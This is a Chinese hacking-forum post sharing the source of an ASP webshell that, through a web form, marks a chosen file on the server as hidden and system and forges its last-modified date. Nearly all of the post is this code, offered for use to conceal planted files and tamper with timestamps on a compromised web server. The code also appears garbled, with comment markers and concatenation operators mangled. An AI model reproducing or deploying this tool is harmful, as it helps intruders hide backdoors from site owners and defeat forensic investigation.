灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:3443回复:0

隐藏并修改文件的最后修改时间的asp-webshell

楼主#
更多 发布于:2012-09-10 21:40


作者:skyfire[B.H.S.T]
源码

%  隐藏并修改文件的最后修改时间的aspshell 原理:通过FSO可以修改文件的属性,比如设置为只读,隐藏,系统等等;FSO中的attributes属性修改文件属性,1只读,2隐藏,4系统文件      通过shell.application可以给文件重新设置一个最后修改时间 2009/02/24  write by skyfire   response.write "<form method=post>" response.write "路    径:<input name=path value=";server.mappath("/");" size=30>(一定要以结尾)<br />" response.write "文件名称:<input name=filename value=test.txt size=30><br />" response.write "修改时间:<input name=time value=12/30/2099 12:30:30 size=30><br />" response.write "<input type=submit value=修改并隐藏文件>" response.write "</form>" 获取提交的参数 set path=request.Form("path")  set fileName=request.Form("filename")  set newTime=request.Form("time")  if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then  通过fso设置文件属性 Set fso=Server.CreateObject("Scripting.FileSystemObject")  Set file=fso.getFile(path;fileName)  file.attributes=2+4  设置文件属性为隐藏+系统 通过shell.Application修改文件的最后修改时间 Set shell=Server.CreateObject("Shell.Application")  Set app_path=shell.NameSpace(server.mappath("."))   Set app_file=app_path.ParseName(fileName)  app_file.Modifydate=newTime   end if  %>

55_3710_46d1a3581d574dd.jpg[删除]



喜欢0 评分0
游客

返回顶部